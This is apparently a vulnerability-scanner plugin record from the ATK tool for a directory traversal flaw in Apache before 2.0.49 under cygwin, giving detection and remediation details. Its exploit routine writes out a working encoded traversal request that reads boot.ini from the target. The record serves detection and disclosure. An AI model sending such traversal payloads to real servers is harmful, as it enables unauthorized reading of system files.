Plugin ID | 253 |
Plugin name | Apache prior 2.0.49 cygwin directory traversal |
Plugin filename | Apache prior 2.0.49 cygwin directory traversal.plugin |
Plugin filesize | 4195 bytes |
Plugin family | HTTP |
Plugin created name | Marc Ruef |
Plugin created email | marc dot ruef at computec dot ch |
Plugin created web | http://www.computec.ch |
Plugin created company | computec.ch |
Plugin created date | 2004/09/21 |
Plugin updated name | Marc Ruef |
Plugin updated email | marc dot ruef at computec dot ch |
Plugin updated web | http://www.computec.ch |
Plugin updated company | computec.ch |
Plugin updated date | 2004/11/14 |
Plugin version | 2.0 |
Plugin changelog | Corrected the plugin structure and added the accuracy values in 2.0; Also corrected the exploiting routine to be more accurate. |
Plugin protocol | tcp |
Plugin port | 80 |
Plugin procedure detection | open|send HEAD / HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/1.[0-1] ### *Server: Apache/[0-1].* OR HTTP/1.[0-1] ### *Server: Apache/2.0.[0-3]* OR HTTP/1.[0-1] ### *Server: Apache/2.0.4[0-8]* |
Plugin procedure exploit | open|send GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/1.[0-1] 200 * |
Plugin detection accuracy | 80 |
Plugin exploit accuracy | 99 |
Plugin comment | This plugin was written with the ATK Attack Editor. |
Bug published name | Jeremy Bae |
Bug published email | swbae at stgsecurity dot com |
Bug published web | http://www.stgsecurity.com |
Bug published company | STG Security |
Bug published date | 2004/02/24 |
Bug advisory | http://nagoya.apache.org/bugzilla/show_bug.cgi?id=26152 |
Bug produced name | Apache Software Foundation |
Bug produced email | apache at apache dot org |
Bug produced web | http://httpd.apache.org |
Bug affected | Apache prior 2.0.49 |
Bug not affected | Apache 2.0.49 and newer or other solutions |
Bug vulnerability class | Directory Traversal |
Bug description | The remote host is running an Apache web server. A vulnerability has been discovered in the Apache web server prior 2.0.49 if it is used within a cygwin environment. An attacker may be able to reach files outside the web server directory by using a directory traversal attack with encoded special characters. |
Bug solution | If the web server is not used it should be de-installed or de-activated. Install the newest patch or bugfix to solve the problem or upgrade to the latest software version which is not vulnerable anymore. To make it harder to find the server the daemon could be configured to listen at another port (e.g. 8081). Alternation of the application banner can confuse an attacker and let him determine the wrong software. Additionally limit unwanted connections and communications with firewalling. |
Bug fixing time | Approx. 2 hours |
Bug exploit availability | Yes |
Bug exploit url | http://www.securityfocus.com/bid/9874/exploit/ |
Bug remote | Yes |
Bug local | Yes |
Bug severity | High |
Bug popularity | 8 |
Bug simplicity | 8 |
Bug impact | 8 |
Bug risk | 8 |
Bug check tools | Most CGI scanners are able to detect such a flaw (e.g. N-Stealth). |
Source SecurityFocus BID | 9874 |
Source Literature | Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427 |
Source Misc. | http://www.securityfocus.com/archive/1/355013 |